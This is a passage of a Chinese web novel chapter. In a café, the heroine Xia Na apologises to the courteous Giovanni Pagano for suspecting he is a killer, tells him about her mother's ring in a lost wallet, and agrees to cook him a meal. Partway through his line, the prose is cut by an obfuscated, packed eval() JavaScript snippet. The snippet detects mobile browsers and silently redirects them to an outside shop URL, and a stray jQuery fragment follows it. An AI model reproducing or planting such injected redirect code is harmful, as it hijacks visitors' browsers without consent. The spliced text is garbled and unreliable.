咖啡店的店员小姐注意到了这边的情况,拿了块抹布过来,眼神小心翼翼地在两人之间徘徊。
这个男人非常英俊,从入门到点咖啡再走到这里坐下,她一直在观察他,他只是刚坐下,对面这位小姐就有如此大的反应,他们之前发生过什么吗?
出于良好的职业操守,她柔声问:“请问发生什么事了吗?”
夏纳发觉到自己的失态,还给店员造成了麻烦,歉疚地连连说了几句“对不起”,对方表示没关系,端着空了的咖啡杯退了下去。
她脸色发白地坐下,觉得有必要为自己的失礼解释一下:“很抱歉,帕加诺先生,我刚刚……有些走神,想到了些很不好的事情,非常抱歉。”
对方像那天见到的一样温和亲切:“没关系,我并不介意。”
窗外的雨还在淅淅沥沥的下,路面积起了水,没带伞的路人跑到咖啡店前的棚下躲雨,隔着玻璃窗能听到隐约的说话声。
夏纳在这尴尬的气氛中偷偷的打量他。
青年肩膀和头发上沾了雨水,有些潮湿,他低眸注视面前的咖啡杯,面庞精致,眉目明净。
只是打扮有些许相似而已,这里像这样穿着的人有很多,她不该为此大惊小怪。
夏纳在心里这么告诫自己。
帕加诺先生是个温柔有礼貌的绅士,他还帮助了她,怎么可能是杀人犯呢?
只是,她看着他的目光仍有些许不安。
乔瓦尼关切地问道:“很不好的事,和我有关吗?”
夏纳眉间紧绷,腰背僵直地摇了摇头。
青年散漫一笑,像是不经意的开了个玩笑:
“那就好,我还以为你将我与某个连环杀人犯联系在一起了。”
话音落下,夏纳浑身一震,她心跳加剧,难以置信地看着他。
而乔瓦尼只是端起杯子喝了口,雾气氤氲了他的眉眼,让人看不清他眼底的神色。
他再放下杯子时,眼尾多了分促狭:“看来我猜对了呢,”
他叹口气,面露苦恼,“夏纳小姐,虽然我不知道为什么会给你造成这种误会,但说实话,我现在……有些伤心。”
他语气嗔怪,黑而密的睫毛压住半边紫色眼睛传递出幽怨的情绪。
夏纳顿时感觉自己像抛妻弃子的负心汉。
她慌乱起来,急的有些语无伦次:“对不起,帕加诺先生,我知道,我不该这么想您的,实在抱歉,我只是、只是最近遇到了些事情,这让我非常苦恼,我、我……对不起,请您原谅我吧。”
他轻而易举的原谅了她:“没关系,所以,可以跟我说一下,你在苦恼什么事吗?”
夏纳又犹豫起来。
她不知道自己该不该说出来,残存的理智告诉她不该相信一个刚见面的陌生人,但情感上她又不由自主地想偏向他,她觉得他或许可以给予她帮助,哪怕只是那么一两句安慰的话。
手机“嗡嗡”的震动声打破了这片静默。
夏纳像终于得到救赎似的快速拿起了手机,屏幕上的联系人赫然让她眼前一亮,她舒了口气,和乔瓦尼示意自己需要去接个电话,起身走向门外时按下了接通。
阿琳娜沾了点酒气的大嗓门在耳畔炸开:
“抱歉,夏纳,我失约了,昨晚那个乐队主唱主动来找我了,我们发生了点有趣的事,一直睡到现在,腰酸背痛的,你都不知道他有多性感,好了,不多说,我决定为他在这个城市多逗留些天,咱们下次再约,我会好好补偿你的。”
这通电话无异于久旱甘霖,夏纳挂下电话后,绷紧的神经终于松了下来,但很快,她又再次紧张起来。
天呐,她居然会误会帕加诺先生是杀人犯,而且还被拆穿了!
她磨磨蹭蹭地回到位置坐下,耳朵和脸颊因羞愧不禁染上一层绯红,她坐立不安,甚至不敢直视他那双坦诚的眼睛。
乔瓦尼敏锐地察觉到了离开前后的不同:“看来你的问题解决了。”
夏纳点了点头,刚要开口表示自己的歉意,就被他截断了。
“夏纳小姐,你今天已经说过很多次‘对不起’了。”
夏纳感到无措。
她习惯把一切往悲观方面想,她害怕对方会因她的举动而生出厌烦的情绪并且因此讨厌上她。
“对不起这种话说一次就够了。”
“你觉得我会生气是吗?”
“你甚至害怕我会因为这件事而对你产生不好的印象,从此不再与你来往。”
乔瓦尼直白地点明了她内心的挣扎,他宽容地笑了下,以此缓解她的心情:“我当然知道你不是有意的,我也很能理解你的心情。夏纳小姐,如果可以的话,我希望你可以把我和其他人区分开。”
区分开?
夏纳看着他,眼里流露出些许迷茫。
乔瓦尼直视她,稍加解释了下,“意思是——你可以在我面前更加大胆一点,也可以更加信赖我。”
窗外的雨不知不觉间停了下来,行人踩着雨水依次离开,很快空无一人。
夏纳心跳的很快,有种让她捉摸不透的情感在心底疯狂滋长,让她脸更红了。
她下意识地出于本能地点了点头。
是的,没错,帕加诺先生和其他人是不同的,他非常宽容且友善,她应该信赖他多一点。
乔瓦尼身体微向前倾,朝她逼近了些,微微一笑:“所以,现在可以告诉我你在苦恼些什么了吗?”
于是,夏纳平静地把自己这几天的烦恼向他倾诉了出来。
中间店员小姐又给她送来一杯咖啡,是在她打电话的间隙,乔瓦尼为她点的。
话说完,夏纳口干舌燥的同时又有些紧张,她第一次对不算相熟的人表达自己的情绪与秘密。
她喝了口咖啡,眸光闪动着惊讶的流光。
她口味偏淡,不喜欢苦涩的东西,之前那杯太苦了,而这杯刚刚好,不会太苦,入口醇香回甘。
“谢谢您,帕加诺先生。”
乔瓦尼淡淡点头,回到她先才的描述:“刚来就遇到这种事,还真是不幸啊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373194|200032||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,那在那晚之后呢,那两名警官有再联系你吗?”
夏纳摇了摇头,神情落寞:“并没有,我想我的钱包应当是找不回来了。”
乔瓦尼亦皱起眉,若有所思:“据我对当地警方的了解,他们或许并不会重视你的那个钱包,除非里面有很多钱,这会让他们多点干劲来寻找。”
“不,那只是个很普通的钱包,里面也没有钱,只有一枚戒指。”
“戒指?”乔瓦尼像突然来了兴趣,“看起来这枚戒指意义不凡。”
夏纳停顿了下,还是说了出来:“是的,那是我母亲的遗物,她在我十二岁的时候因病过世了,临终前她将她手上那枚戴了许多年的戒指交给了我。”
“它有些旧了,价值并不高昂,但这些年我一直将它带在身边,它就像个护身符,我每每拿着它,好像都能感觉到母亲在用她的手温柔抚摸我的头。”
说出这种事,让夏纳感到有些羞耻,她补充道,“您就当听个故事吧,我知道,很多人是不会理解的,毕竟那只是一枚不值钱的旧戒指。”
“我理解。”
轻轻的一声像是朝平静无波的湖面扔了块石头。
夏纳看过去,他神情认真地又重复了遍:“我理解。”
“别担心,夏纳小姐,我相信那枚戒指——那让你安心的存在,不久后会重新回到你身边的。”
这一刻,他沉稳的声音让她心尖不由自主颤抖了下,紧接着那无人可诉说的酸涩从心底涌上,让她眼眶一热。
夏纳低下头,握紧咖啡杯,汲取上面的热度。
青年面对她,即使一言不发也无法让人忽视他的存在感,他由内而外散发的气场将她包裹住,让她知道他始终在那里——看着她。
须臾,夏纳心情平复下来。
她看了眼窗外,天色昏昏沉沉,她该回去了。
“今天谢谢您,帕加诺先生,认识你很高兴,我们……”
乔瓦尼靠在天鹅绒的沙发巾上,戏谑地挑了下眉梢,打断了她的话:“就这么走了吗?”
夏纳一愣,目光不解。
乔瓦尼又露出之前那种幽怨的眼神:“夏纳小姐,虽然我对于今天的误会并不是很在意,可是,你难道不觉得需要给我点小补偿吗?”
“补偿?”
“是啊,”他看起来觉得这个补偿是合情合理的,“只是个小补偿而已,可以让我很快忘了今天的不愉快,夏纳小姐应该不会拒绝我吧?”
“当、当然不会,这是应该的。”
夏纳被他的话勾的脱口而出,她试探问道,“那帕加诺先生想要什么补偿呢?如果我能做到的话,我会尽量满足你。”
他满意地笑了:“别那么紧张,我只是想要你请我吃顿饭而已。”
这要求并不过分,而且夏纳也正有此意,她满口答应,“好的,那要是帕加诺先生有喜欢的餐厅可以……”
乔瓦尼摇了摇头:“我不想吃外面的食物。”
他进一步提到,“或许我能有荣幸品尝你的手艺吗?”